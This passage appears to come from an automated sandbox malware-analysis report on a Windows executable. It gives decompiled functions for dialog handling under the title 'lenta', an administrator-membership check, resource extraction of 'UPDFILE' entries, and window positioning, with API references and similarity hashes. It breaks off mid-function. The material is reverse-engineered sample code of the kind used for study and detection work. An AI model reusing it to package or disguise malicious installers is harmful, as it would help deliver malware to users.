Uniqueness

Uniqueness Score: -1.00%

Function 00F33100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00F33100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0xf38590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0xf38590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E00F343D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0xf38d4c);
					SetWindowTextA(_t33, "lenta");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0xf388b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E00F330C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x00f33108
0x00f3310b
0x00f331b7
0x00f331ca
0x00f331d0
0x00f331d0
0x00f331da
0x00000000
0x00f331da
0x00f33111
0x00f33114
0x00f33136
0x00f33136
0x00f33138
0x00f3313b
0x00f33141
0x00000000
0x00f33143
0x00f33116
0x00f3311b
0x00f3314b
0x00f33151
0x00f33158
0x00f3316a
0x00f33176
0x00f3317d
0x00f3318b
0x00f3319e
0x00f331a3
0x00000000
0x00f331ad
0x00f33120
0x00000000
0x00000000
0x00f3312a
0x00f33134
0x00000000
0x00000000
0x00000000
0x00f33134
0x00f3312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 00F3313B
GetDesktopWindow.USER32 ref: 00F3314B
SetDlgItemTextA.USER32(?,00000834), ref: 00F3316A
SetWindowTextA.USER32(?,lenta), ref: 00F33176
SetForegroundWindow.USER32(?), ref: 00F3317D
GetDlgItem.USER32(?,00000834), ref: 00F33185
GetWindowLongA.USER32(00000000,000000FC), ref: 00F33190
SetWindowLongA.USER32(00000000,000000FC,00F330C0), ref: 00F331A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 00F331CA

Strings

lenta, xrefs: 00F33170

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: lenta
API String ID: 3785188418-2780258678
Opcode ID: f72abe626af25e4c7d3e6f291da248352b96fda771a70547ceee4db507d647ea
Instruction ID: b7b91e8ffdae5083932945b464e4c9bf794139322ba2f96a9b74ca78f71b3d0f
Opcode Fuzzy Hash: f72abe626af25e4c7d3e6f291da248352b96fda771a70547ceee4db507d647ea
Instruction Fuzzy Hash: 7D11D332A08259BBDB11FF259C0CBAA3A65FB4A731F100610F855D21E0DBB89641FB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F318A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00F318A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0xf38004; // 0xc69e30f7
				_v8 = _t23 ^ _t53;
				_t25 =  *0xf38128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E00F36CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E00F317EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0xf38128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0xf38128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x00f318a3
0x00f318a3
0x00f318ab
0x00f318b2
0x00f318b5
0x00f318be
0x00f318c0
0x00f318c6
0x00f318c7
0x00f318ca
0x00f318cf
0x00f319c9
0x00f319d8
0x00f319d8
0x00f318df
0x00f319b8
0x00f319bd
0x00f319bf
0x00f319bf
0x00000000
0x00f319bd
0x00f318fa
0x00000000
0x00000000
0x00f31912
0x00f319aa
0x00f319ad
0x00f319b3
0x00000000
0x00f31927
0x00f31927
0x00f31932
0x00f31936
0x00f319a9
0x00f319a9
0x00000000
0x00f319a9
0x00f3194c
0x00f319a2
0x00f319a3
0x00000000
0x00f3196e
0x00f31970
0x00f31999
0x00f3199c
0x00000000
0x00f3199c
0x00f31972
0x00f31972
0x00f31975
0x00f31984
0x00f31985
0x00f3198a
0x00000000
0x00000000
0x00000000
0x00f3198c
0x00f31991
0x00f31996
0x00000000
0x00f31996
0x00f3194c

APIs

Part of subcall function 00F317EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00F318DD), ref: 00F3181A
Part of subcall function 00F317EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00F3182C
Part of subcall function 00F317EE: AllocateAndInitializeSid.ADVAPI32(00F318DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00F318DD), ref: 00F31855
Part of subcall function 00F317EE: FreeSid.ADVAPI32(?,?,?,?,00F318DD), ref: 00F31883
Part of subcall function 00F317EE: FreeLibrary.KERNEL32(00000000,?,?,?,00F318DD), ref: 00F3188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 00F318EB
OpenProcessToken.ADVAPI32(00000000), ref: 00F318F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 00F3190A
GetLastError.KERNEL32 ref: 00F31918
LocalAlloc.KERNEL32(00000000,?,?), ref: 00F3192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00F31944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00F31964
EqualSid.ADVAPI32(00000004,?), ref: 00F3197A
FreeSid.ADVAPI32(?), ref: 00F3199C
LocalFree.KERNEL32(00000000), ref: 00F319A3
CloseHandle.KERNEL32(?), ref: 00F319AD

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 9908d0a7f11edbe80abdac3f918a37d52264bc096a742c6237a5b9b67ecd068f
Instruction ID: 8bf5e64a103a973cb86ecc711507b857e64b7b44a992de525e230a64d86cc20f
Opcode Fuzzy Hash: 9908d0a7f11edbe80abdac3f918a37d52264bc096a742c6237a5b9b67ecd068f
Instruction Fuzzy Hash: F1313C71E01209AFDB209FA6DC48AAFBBBDFF04370F100429E545D2150D7349915EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00F3468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00F3468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x00f34699
0x00f3469b
0x00f346a9
0x00f346af
0x00f346b4
0x00f346bc
0x00f346f9
0x00000000
0x00f346f9
0x00f346d9
0x00f346dd
0x00000000
0x00000000
0x00f346e5
0x00f346ef
0x00000000
0x00f346f5
0x00f346ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
memcpy_s.MSVCRT ref: 00F346E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

Strings

lenta, xrefs: 00F346E4
TITLE, xrefs: 00F3469D, 00F346C0

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$lenta
API String ID: 3370778649-2035842925
Opcode ID: 81adc76d5f33af3d9b74ddb020c7a040a66e3f225011bd18712fa506c481929d
Instruction ID: fbb18c6c133b8884760cf827b5c595ddb23893439dc87b799f457bc31569e903
Opcode Fuzzy Hash: 81adc76d5f33af3d9b74ddb020c7a040a66e3f225011bd18712fa506c481929d
Instruction Fuzzy Hash: 2D01A9766442187BE3102BA65C4DF6B7E2DDBC6F71F040014FA8997191C9B1A841A6B6

Uniqueness

Uniqueness Score: -1.00%

Function 00F317EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00F317EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0xf38004; // 0xc69e30f7
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0xf3a288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E00F36CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x00f317f6
0x00f317fd
0x00f31805
0x00f3180b
0x00f3180d
0x00f31815
0x00f31818
0x00f31820
0x00f31824
0x00f3182c
0x00f31832
0x00f31837
0x00f31851
0x00f31854
0x00f3185d
0x00f31862
0x00f3186c
0x00f31872
0x00f31877
0x00f3187e
0x00f3187e
0x00f31883
0x00f31883
0x00f3185d
0x00f3188a
0x00f3188a
0x00f318a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00F318DD), ref: 00F3181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00F3182C
AllocateAndInitializeSid.ADVAPI32(00F318DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00F318DD), ref: 00F31855
FreeSid.ADVAPI32(?,?,?,?,00F318DD), ref: 00F31883
FreeLibrary.KERNEL32(00000000,?,?,?,00F318DD), ref: 00F3188A

Strings

CheckTokenMembership, xrefs: 00F31826
advapi32.dll, xrefs: 00F31810

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: f79d72ed6157932055aa76a9f6f74d48043478f9d61e199b4ff1e4daee68dd6b
Instruction ID: 28c8e90e44aeca7c69f856ebb5080f35af20080430ccb91608ebf72211417d14
Opcode Fuzzy Hash: f79d72ed6157932055aa76a9f6f74d48043478f9d61e199b4ff1e4daee68dd6b
Instruction Fuzzy Hash: 5C11B671E00209AFDB149FA5DC49ABEBB79FF44721F100169F941E3290DB308D01AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00F33450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F33450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E00F343D0(_t24, _t12);
					SetWindowTextA(_t24, "lenta");
					SetDlgItemTextA(_t24, 0x838,  *0xf39404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0xf391dc = 1;
					goto L8;
				}
				return 0;
			}

0x00f33459
0x00f3345c
0x00f334d8
0x00f334de
0x00000000
0x00f334e0
0x00f3345e
0x00f33463
0x00f3349a
0x00f334a0
0x00f334a7
0x00f334b2
0x00f334c4
0x00f334cb
0x00000000
0x00f334cb
0x00f33468
0x00f3346e
0x00f33474
0x00000000
0x00000000
0x00f3347c
0x00f3348c
0x00f33490
0x00000000
0x00f33496
0x00f33484
0x00000000
0x00000000
0x00f33486
0x00000000
0x00f33486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00F33490
GetDesktopWindow.USER32 ref: 00F3349A
SetWindowTextA.USER32(?,lenta), ref: 00F334B2
SetDlgItemTextA.USER32(?,00000838), ref: 00F334C4
SetForegroundWindow.USER32(?), ref: 00F334CB
EndDialog.USER32(?,00000002), ref: 00F334D8

Strings

lenta, xrefs: 00F334AC

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: lenta
API String ID: 852535152-2780258678
Opcode ID: 28b19400a3160db1bae7c7307e39070d44561eb9469a0f1921361671eebdf787
Instruction ID: 205de05db856f561b37e3643a9dfe1756f805cb57f51f47aa3af6a2b1fb34019
Opcode Fuzzy Hash: 28b19400a3160db1bae7c7307e39070d44561eb9469a0f1921361671eebdf787
Instruction Fuzzy Hash: 0001F732640118ABC717EF66DC0C96E7B66EB05730F108010F987966B1CBB19F41FBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F32AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00F32AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0xf38004; // 0xc69e30f7
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0xf39a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E00F31680(_t65, E00F317C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E00F365E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E00F31680(_t65, E00F317C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E00F36CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x00f32aac
0x00f32ab7
0x00f32abc
0x00f32abe
0x00f32ac3
0x00f32ac6
0x00f32ac9
0x00f32ace
0x00f32ae6
0x00f32bdc
0x00f32bdc
0x00f32be0
0x00000000
0x00000000
0x00f32af2
0x00f32afc
0x00f32b00
0x00f32b05
0x00f32b05
0x00f32b0b
0x00f32bca
0x00f32bd1
0x00f32b11
0x00f32b18
0x00f32b26
0x00f32b99
0x00f32bc8
0x00000000
0x00000000
0x00f32b9b
0x00f32bae
0x00f32bb3
0x00f32bb5
0x00f32bb5
0x00f32bb8
0x00f32bb8
0x00f32bba
0x00f32bbb
0x00000000
0x00f32bb8
0x00f32b28
0x00f32b2e
0x00f32b33
0x00f32b39
0x00f32b3c
0x00f32b3c
0x00f32b3e
0x00f32b3f
0x00f32b55
0x00f32b5d
0x00f32b64
0x00f32b64
0x00f32b7a
0x00f32b7f
0x00f32b81
0x00f32b81
0x00f32b84
0x00f32b84
0x00f32b86
0x00f32b87
0x00f32bbf
0x00f32bc1
0x00f32bc1
0x00f32b26
0x00f32bda
0x00f32bda
0x00f32be6
0x00f32be6
0x00f32bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00F32AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00F32AF2
CharNextA.USER32(?), ref: 00F32B12
CharUpperA.USER32 ref: 00F32B1E
CharPrevA.USER32(?,?), ref: 00F32B55
CharNextA.USER32(?), ref: 00F32BD4

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: d48dc3baa238f6f957180c1cdff8ae2959bb9614f0a24223c69f37300ae1e7e0
Instruction ID: a8d1733eb7abdbbaebe60c3077966aeb64eaa6fb005d482f22a413306aba017a
Opcode Fuzzy Hash: d48dc3baa238f6f957180c1cdff8ae2959bb9614f0a24223c69f37300ae1e7e0
Instruction Fuzzy Hash: 9A414B349042899FDF559F349C54AFDBB6A9F92330F0440DAE8C283202DF354E46EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F343D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00F343D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0xf38004; // 0xc69e30f7
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E00F36CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x00f343d0
0x00f343d8
0x00f343df
0x00f343e6
0x00f343ec
0x00f343f1
0x00f34400
0x00f34403
0x00f3440b
0x00f34420
0x00f34429
0x00f34437
0x00f34444
0x00f34447
0x00f3444d
0x00f34454
0x00f3445b
0x00f34460
0x00f34461
0x00f34467
0x00f3446f
0x00f34473
0x00f34473
0x00f34463
0x00f34463
0x00f34463
0x00f3447a
0x00f34481
0x00f34484
0x00f3448a
0x00f34492
0x00f34496
0x00f34496
0x00f34486
0x00f34486
0x00f34486
0x00f344b8

APIs

GetWindowRect.USER32(?,?), ref: 00F343F1
GetWindowRect.USER32(00000000,?), ref: 00F3440B
GetDC.USER32(?), ref: 00F34423
GetDeviceCaps.GDI32(00000000,00000008), ref: 00F3442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00F3443A
ReleaseDC.USER32(?,00000000), ref: 00F34447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001,?), ref: 00F344A2

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 6c06ff2d5dc526cb11855aff7ec50648d25c8138ec36d6c394ccd45f377df7e7
Instruction ID: 38555c31e51698dc9385feffcda605d33551ea6e16978bd84e12ca44a7bfd1dd
Opcode Fuzzy Hash: 6c06ff2d5dc526cb11855aff7ec50648d25c8138ec36d6c394ccd45f377df7e7
Instruction Fuzzy Hash: 56314C72E0011DAFCB14DFB9DD899EEBBB6EB89320F154169F805F3250DA30AD059B60

Uniqueness

Uniqueness Score: -1.00%

Function 00F36298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00F36298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0xf38004; // 0xc69e30f7
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E00F3171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0xf39124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
